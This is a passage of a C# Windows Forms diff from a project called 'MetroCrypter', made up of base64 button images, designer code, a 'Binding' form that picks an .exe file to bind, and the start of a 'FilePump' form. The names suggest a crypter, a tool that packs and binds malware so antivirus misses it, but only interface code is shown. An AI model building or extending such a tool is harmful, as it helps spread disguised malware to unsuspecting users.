C3rhMjwB6RyUuTRd0XgBzPMwDPIWhmCT7UCMtVK/4bit9ETTOngDpz3eCO9AQeqCohzhX4GPkN7qaDLQ
pFqF9RAGGYQ1LpsgjrWBVG+rMNEoHkSXJa8gEsf3gjTuEiYSTRIHkag5A99goa1kokFukAZ4D/kGaYYf
cMpWMmky+FsQ3cC1LouEVwXlHoZBvsMALLY9fXFyfLtqdTbDJ3gGNS6LhNcEX+Gkx/thFG5CRVCURJyc
G6QRJguyHRTkIayE/xZkF+hS3IXlcADmRpCnMFWQSihKkGqXRcLbCQqiX+Z4kBtQUJBa0FbVltXDbAdo
olew2mWR8LbBF3gM2sotMAzavstcNn1xcjxIg737oIdUPkF2g4LcgYKCVMAjiAepBulwUBQT3lZIP4hE
g27QCjTakrcOpIO2AjHeAp9BL0u5QZa6LJloUAYf4KKtQPb1m9MHlfZ0T4RBVkErKMhtKCyIRJNwBdps
RcLbB5psBF6C3tK0fdMPItFI119qtjVO+GuhCy7AEZgPCqKA6QWRaKYbVd+43dakom4PKMgtSC9IKJo+
gOse/lPUxIMssZ2uaHwIpA5bE8QxvS4qSD/MTJBQTHAJdLnOQvSQ4/MK6ISfoJ01s0EkJtFW1qT69gr1
Gp7DmNGfr0UuL46YsAaOwnnogROwwYdLmqvKZP4AMQOKDISFzN0AAAAASUVORK5CYII=
</value>
</data>
<data name="CryptButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAABGdBTUEAALGPC/xhBQAAA4hJREFUaEPV
mluITVEYxwdT41pGHiaXkcIYlMsrES8k48mglLx5GC9eJCTelFwiajwYt0QeqHmREKXUhBe5JJpccgmR
y7gbv//an5J9zpm9176cc37175xZ61vf95855+z9rXWmJgt6e3sb0XZ0E70y3UDb0FgLq1wwOQt1ol+o
GJpTzCxbVjlgqgkdRz9RVBSrNZMsTfnAxFR0zEz5orVHUbOlzQcKDkCt6BpKG+VU7gFWLn1IPg5tRvdQ
1txFm1CjlU8GiSajdegq+o3yRheGK6gNNZmtviG4Aa1CHegpqjSeIHmTxwazHUaR1YTZDsPc1yCkKugx
22GYfBvEVAWvzXYYJvUerBa6zXYYJvO4tKbFbbMdhkk1dtXCdbMdhsmLQUyudKNvwdNYdJrtMEweCmJy
Q1fJKaZHGojBXrMdhskNQUxubLS6M9EPNxKdNme6EEwuC2JyQZ/HWqQmtEsDMVlktsMwqb9MHnxH063m
ejcSn4nOdCGYHIaS7C2istvqaUv8wY3EQ2tqneliEHDLhWbHAzQI9UOXNeDBebNbHIL2B7GZoK3APKuz
xo34scWZLQVBapHjopb/TfC0JB1WYyR67Ub8WODMloKg8UFsZN6haagZlerVXqIRVuOEG/HjCxrizPYF
gdpqRuUxcrs3HsegOxoswHKLWRz86M1Z5YkEwVuDNZHRqzLX1g5FFzT4D2dsrh49dyP+rFCuSBCsc6q4
qN1otfV16LQGQXscty3lsd2N+PMJDVauyLDAp6XXjW61rddd+whaaz/PRqVOIKPgXtlYsMi379IldoPl
0L1C0isU53NXjPnOXBxYNBx9dMv9OIzc3ZfHHW4kGV3OmA8sPhDk8OYcmoPidraFcG9ZL1iss92kB3M+
m6b/eYYGmi0/SKAD5nLj/2r8hSSjUY9LVx7UxPY3O8kg0R6XsjwsMRvJIVkad2QfTpmF9CBp0h4pLi+Q
azJTh8QnXYl8cO1OJpBcb7GHrky2tFvJ7KCIGsr3rlw26HSlzsplC4VWoCy+wdKucYKVyQcK+h7jFEN9
XXm+e6fwQWchOWr/l1ra/KG4WvRdcpIA7cEXWsrygQn9MjvlyAPt+FosVWWAoZXos9xF5D4q/79vFAJj
M5C+7+iLSyibu3ZaYHAUKvaFkS7Z2qzlc59IA8y2IJ15/UWHd32fEFYiGFdLsw/pYlBvwxlQU/MHsBDx
W1unW5cAAAAASUVORK5CYII=
</value>
</data>
<data name="OptionsButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADQAAAA0CAYAAADFeBvrAAAABGdBTUEAALGPC/xhBQAABM9JREFUaEPt
mluoFVUcxo+aEvgQGYRlecmSvCR2USKkIKEerAcp6Ua9CD0UQS9KlKaRRk9WL/VcUVBBJZLQhaIIs5sU
9dBDEV2IoogKKqLL6fet+c5275k1M2tmz7ls8AcfzFrrW//5z5lZM2utfcaOk8j4+PhsdFZEy2wZLUh8
FSrjFNtGB5K+Jss9yqW2jQ4kvSvLPcrtto0OJP10lnuUx2ybXkjkRB/WgvdoSD3OW7bVgjf5nMkQdBZ6
GH2Fap9/PHPQn6iMX9As20vBcxn6Gj3kquHRiRUQTfAPehDNtaUAbctlrGGx7QVom4ceQf/KaLq5KAI9
kMUr8Do6w7YA5UvQfvQlquNzdD9a6e4ByovRmyjGXtvaQYD+OxPjV3Qzuhq9q4qWvI02oVvRb6qoYL/T
awYd56KPQoiZhV42JzjNZtBxDaoa3FPNH2iV02sHAe4ModL5D72H9GHdiM5EGuSSjlV3L3ofyduEO5xW
ewiit9zBEK6eZ9G57loL3pXuk8IBdxsegi1CP4WwcX5H19neGPreiPQ4lfEjOs32biDgtSF0ke/QBbb1
UB3aiV5Ahy0d34POt60HdRchxYqxxbbuIOiVWewBdGcutCVA+Tz0ihpreBmtcbcA5fUof6c0ztba0g0E
1DjSIM5zgy0BytvQX6ElDXm3uXuAsr5reZ53czcQ8PIs7gCvujlA+SbU9K0l1Cf/h9EspB95Vrh5eAj2
aAh7DJ2gN2441mM2zPdKj9lqh1M8jaf8H2enm9tDEM2az0H5wXrElgBljYcylJjmdpqpV3HI4QKU84/4
J0h7ErNtKQeTxsgypDnZXehJpClG2V/9bndV33VZVZTn0FJb5dU+w2tqKKE3+DnWGzKGXkQfoMfRDrQZ
KfdjyxEKC1ATNrir+u7Jqgo8Y8sA1Ouul82md9km38VZVTIL3LXVBS10V/V9KasaQOuYRbYUoE1jJMZB
W+Q5PatKpvUFaYE3x13VN7bU/szNpeCJLRM+dLPadSd1rlRaX9DfqP+CYkuMthd01M1TekGiN6/i+FBW
NUAXj5zmj00Y6oLWu6v6zryXgqBC65XV6BakTRAtGX5AMXofOY7rXtvLbZV3LUp9be/Oqgrom6jclKNy
Vc7z3K0ajNpwPxt9j/pp8mEV6q8lQBV1H9ZP0eD3pi0EmQlTn97jODQE04ZfnqmenCavhJMg4JEQepB8
IlchbW2lIu9mdw9Qji0fXnRzdxB0Ohd462zpDoJeH8IXmYol+FbbuoGAS5E22MuY7E2Sn1HpXngjCKTv
k6brKbyDkn+dw6uXTWxsxtBrPO17UwVB7gvh0tEzP1kbjXucVjsIoA30/p80phvlssnpNYOO81Hdsnk6
UE7znWYz6Lg9hCjnG6S7uAGlbhfn0RLhCaQfBq5A36Iqtju9dhBgXxanwAF0qm0Byhof+k0p5c5+gfai
gV8TKC9EsVWw2GfbcBBImxET6BVa+V2gXTtFdSyxPQrtW5HONcEON3UDATWdfwPVfg/waM1T9V3RlCfl
R+MlSOfc7apuIXBv6V0H3o9RGYdtqwVv8jknFRJ5KqQeZ2b840UTSFpztjJus210IOktWe5RNto2OpD0
iiz3AprunGTb6EDS2i8/OSZbjlPP2Nj/uaomxIZagKYAAAAASUVORK5CYII=
</value>
</data>
<data name="AssemblyButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAOVJREFUWEft
l7EKwjAQQEtxEPwgNxfBLxDEyUlcHEQcnKWTozo4Cv6AODq5+kcuEl/SU7JkEEtM5R684XLHpZReSDNF
+TuMMW1cYFeWfgMP0MEHvhhKykE8xVkF9qRlGIo26HOSlIP4Xi5/zUFahqFoXNa+WUnKQXzBawUupWUY
inIs8IY7bEpKUZSPYYIGeMQJ5rIcHzbvo89cUg7iLe4rcCQtw1Bkzxafs6QcxFFP4HTejIXCNL4ZRak1
TE8D12jvM3YEW5KKD5vbcfYpJOUgjnrTS+oOnM7fgYXCNP6bFKU+ZNkTHZty7TggwQUAAAAASUVORK5C
YII=
</value>
</data>
<data name="button5.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAA/VJREFUWEe9
l22oTVkYx69xjUTIuzskvmgIMQw3PhhT8kXS1JQSDZFEKJKGzP0wM0zKTEK+0HjJWxiTvBZuUpqREiXv
MeN9YiZvYwbb7/+sZx3nnnPuPude7v3Vr3PWs5+11j57rf3sfcreB0mStMev8EfcjkdwJ/6E07GzpzYc
TFKJB/B/TOMlHsVR3vX9waCdcA/mcht/Q12ZU/gn5nIQu/tQ7wYDDcQbGtV5iN/hAE+pAfE+uBTvY+Qu
DveU+sEA/fCxRoPXuALb+uFUyGuFVfgKxb9Y6YfrBh3b4VWNAhpogh+qE/Qbi080CGhZK/xQ6dBps3UP
TPZwvaD/OIxXaJ+HS4MOg1HLItZ6+J1gnO/DcMbnHi4Oyb+EPsnf2MHDGYh1xzm4C3UXaTl1V6nfAuzp
qRmIaQ/dQVHt4XRIVKfn1iVJfvCwQbsjbsB41dJQMfzIuxq0F9mRsGTFCyNJ4y09kLkd+a5b9pZF36Li
9x/q5PSZWwz/wsE+RBwjMsXDtUPS1yE3eYZNPdYL7ynoqO6sxLgps1mFl8JXQ0vdzwYHvselWuGh2iFp
dchNrni7GZ61SOBXbIHHrJWPcj/En60VuIYtfTztLbFV7VRI2hJyk9+9PSs0jRfYzeN/WCSfp378A4x7
TyzxuB4P4qDaqZCkJ7G44e0zoWkDa0+M8PghBQsQf0Tn0LRlEjc9HsfbqHYqJC0MuVZ1y3GjtcJJnsAq
zxuG2rTZaA+N9uNf4gVcjGK/x+Mza7naqZA0JuQa9grAZxv/nIAq6a29/Qnu89hhjFdNS3QSZ3u7NTZB
PXQjxR8vJDXHfyw9SdZ42KCtAffibmzu4Rp4zjKsxnIPG7S/RaG9Zz+wKCRusi7h9rYNG6Gtoqg76hxq
Kbp6XAVRzyC9VMn21sGhrQfvIxSlP59I7o2xgG3ycAZi+vWTMG7GyHmcgVafsiGm+iNUIId4uDTosM66
BmztC8Gxtqii2M5DeXBsIka2e7h06KTLGveO3mnn+qE6Qb+pqDtTXMe8B29BSOyCM1G/ZBvmon8APTw9
FfIqMLsK642x4KtqHiR+inqwFULvvREVv7U4EmvsDdq6pYejalJ8uxO6IiWfyFCMlTIXFT0t2XrUcmWj
CS/jabyI8X05os26FTv6VOmQmHYi4gtPVW5f1LMrLV/opLSkg7xrcUhWSS828DRPz0BMT/JROA/1L3IH
6tadj6OxYEGsFTqUciIPsGH/qjLBZ/hUs6WgEylt09UXJvgYY/2oDZXtulXJ+sAkWt80GudEBBMdtykL
oxPJvEA3OEym8lwIFbbGO5EIk35j079Fm7W/H258mFxXSC9A2kO9PdyIlJW9AaTSzCdXYUnKAAAAAElF
TkSuQmCC
</value>
</data>
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
<data name="button2.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAADlJREFUSEtj
GAWjYBSMAhqC////swGxBxUwG9RITACUlABiagAJqJGYAChJe5+MglEwCkYBpYCBAQCCZ8UdjjBdtAAA
AABJRU5ErkJggg==
</value>
</data>
<data name="button6.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAtNJREFUWEfN
mElrFEEYhidoYrxFUdSLCRIDcSEHkeBBicYoAZHcPKgg/gFPXrwEZERM8Gf4F1QQ8abgSdwwbuBF3DXu
4DI+b/VXTqVnulPTPeg88DDT9b1VU9MzvVRXWqFWq3XjfjyDl/AJvgvU9kWs4j7stq7tg0HX4Qy+wlZ4
iedwrQ1VHAZZjqfxG2bxC7VXfrut5nzFaey1oVuDjlvwHqZRm/bSXhxA91Pw2mPbap/F+5jmLm5yHxAL
HSbwk3oHXMXtFomC/CheU+eAjzhukXwI7sHv6mW8wQNWLgT9D+JbDWZo/DErN4fAMM4rbWhXD1q5FIyz
ER9oUOM9Dll5IRR68Y5SxhyusHJbYLyV+EiDG7dwmZXr0Khzg+c1DlgpF3JTqL5T1pQLuSHUXvFMWymB
hjWow89zyEq5kNMfPWTCSrmQO5LEHZ9xtZVc8axrTriBXVbKhdwx16POcSvlQq4Lb7oeCVVfWIovXFPC
TleIgGwf6tDVSU+vfVZaFLK70fMcl6hRJynPnGX/CXze4+RjHWNqCH+iGctFQX4ELwSOWCkK8ufRU1XD
leS9I/9ElIL8ZNLtL5NWioJ8+FNdVsOz5L1jveWiIF92MquSbo6navDXIF11eywXBflSkxH08ZeeeW38
TN7XPlg9Gvq0YzI6EsUPbXTUnumo/0xHHU1lzjNlJ9Nwnil8BiZfdjINZ+Ay16bCkyHbeG2yQtGrdqHJ
kGt+1RZsFL2fKTqZ7PsZQcMpV0rQuWerlTIh048nAvutlAmZbRh+8ZNWqkNj59wDCwrp1YEmNGzlUjDO
ZnyoQY3s1YGHQHrdpMkdxqg/dRr1w6OoxZtn8XWTR0EMF13iOo5aJAryO1BHZ4gWhbssEgcdBvG2eqfw
a23twQX3vNrGccxaa+s/ssHirUHHmKcQ/tmMvxVoRrmnECEM8v+fz6Rh0GZPrr6g0GuJJ1eVyh8z/zFc
KgiA5QAAAABJRU5ErkJggg==
</value>
</data>
</root>
@@ -0,0 +1,47 @@
namespace MetroCrypter.Forms
{
partial class Binding
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Binding
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "Binding";
this.Text = "Binding";
this.Load += new System.EventHandler(this.Binding_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,203 @@
using MetroCrypter;
using MetroFramework.Controls;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class Binding : Form
{
private IContainer components = null;
private Button button2;
private Button button6;
private MetroTextBox bFilename;
private Button button1;
private Button button3;
public Binding()
{
this.InitializeComponent();
}
private void Binding_Load(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
MessageBox.Show("This function is currently disabled please try again later");
if ((!string.IsNullOrEmpty(this.bFilename.Text) ? true : !Form1.CID.BindReply))
{
Form1.CID.binding = this.bFilename.Text;
base.Close();
}
else
{
MessageBox.Show("You didn't enter everything");
}
}
private void button3_Click(object sender, EventArgs e)
{
if (!Form1.CID.BindReply)
{
this.button2.Enabled = true;
Form1.CID.BindReply = true;
this.button3.Text = "Enabled";
}
else
{
Form1.CID.BindReply = false;
this.button2.Enabled = false;
this.button3.Text = "Disabled";
}
}
private void button6_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
openFileDialog.Filter = "Binding File|*.exe";
this.bFilename.Text = openFileDialog.FileName;
}
if (openFileDialog.FileName != string.Empty)
{
MessageBox.Show(string.Concat("Loaded ", openFileDialog.SafeFileName, " Succesfully"));
}
}
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(MetroCrypter.Forms.Binding));
this.button2 = new Button();
this.button6 = new Button();
this.bFilename = new MetroTextBox();
this.button1 = new Button();
this.button3 = new Button();
base.SuspendLayout();
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button2.ForeColor = Color.White;
this.button2.Location = new Point(91, 126);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(181, 27);
this.button2.TabIndex = 38;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.button6.AllowDrop = true;
this.button6.BackColor = Color.FromArgb(34, 36, 39);
this.button6.BackgroundImageLayout = ImageLayout.None;
this.button6.FlatAppearance.BorderSize = 0;
this.button6.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button6.FlatStyle = FlatStyle.Flat;
this.button6.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button6.Image = (Image)componentResourceManager.GetObject("button6.Image");
this.button6.Location = new Point(275, 56);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(57, 23);
this.button6.TabIndex = 54;
this.button6.TextImageRelation = TextImageRelation.ImageAboveText;
this.button6.UseVisualStyleBackColor = false;
this.button6.Click += new EventHandler(this.button6_Click);
this.bFilename.get_CustomButton().set_Image(null);
this.bFilename.get_CustomButton().Location = new Point(159, 1);
this.bFilename.get_CustomButton().Name = "";
this.bFilename.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.bFilename.get_CustomButton().set_Style(4);
this.bFilename.get_CustomButton().TabIndex = 1;
this.bFilename.get_CustomButton().set_Theme(1);
this.bFilename.get_CustomButton().set_UseSelectable(true);
this.bFilename.get_CustomButton().Visible = false;
this.bFilename.set_Lines(new string[0]);
this.bFilename.Location = new Point(91, 57);
this.bFilename.set_MaxLength(32767);
this.bFilename.MinimumSize = new System.Drawing.Size(181, 23);
this.bFilename.Name = "bFilename";
this.bFilename.set_PasswordChar('\0');
this.bFilename.set_PromptText("File Name");
this.bFilename.set_ScrollBars(ScrollBars.None);
this.bFilename.set_SelectedText("");
this.bFilename.set_SelectionLength(0);
this.bFilename.set_SelectionStart(0);
this.bFilename.set_ShortcutsEnabled(true);
this.bFilename.Size = new System.Drawing.Size(181, 23);
this.bFilename.set_Style(3);
this.bFilename.TabIndex = 55;
this.bFilename.set_UseSelectable(true);
this.bFilename.set_WaterMark("File Name");
this.bFilename.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.bFilename.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(332, 0);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 56;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.ForeColor = Color.White;
this.button3.Location = new Point(12, 12);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 57;
this.button3.Text = "Disabled";
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(34, 36, 39);
base.ClientSize = new System.Drawing.Size(362, 168);
base.Controls.Add(this.button3);
base.Controls.Add(this.button1);
base.Controls.Add(this.bFilename);
base.Controls.Add(this.button6);
base.Controls.Add(this.button2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.MaximumSize = new System.Drawing.Size(362, 168);
base.Name = "Binding";
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Binding";
base.Load += new EventHandler(this.Binding_Load);
base.ResumeLayout(false);
}
}
}
@@ -0,0 +1,140 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
<data name="button6.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAAIpJREFUSEvt
kEEKgzAQAJOD/2qLID30L2Kfob5CCqVfaUufFCfLGmqPTUAPOzDEzeRg4gzD2BkhBI8XvOrqNQm5fTnw
wCcO+MI7ysG44t9dYDhrqHSu8INNiS4wxCv2OgrMI3b6ndUFhhrf+PsnpxI9wcYNv9900iTk9gThiC0e
dGtFbjcMY1OcmwH/J3CMIo+FLwAAAABJRU5ErkJggg==
</value>
</data>
</root>
@@ -0,0 +1,47 @@
namespace MetroCrypter.Forms
{
partial class FilePump
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// FilePump
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "FilePump";
this.Text = "FilePump";
this.Load += new System.EventHandler(this.FilePump_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,208 @@
using MetroCrypter;
using MetroFramework.Controls;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class FilePump : Form
{
private Popup pop;
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button1;
private MetroTextBox FilePumpTxt;
private Label label1;
private Button button2;
private Button button3;
public FilePump()
{
this.InitializeComponent();
}
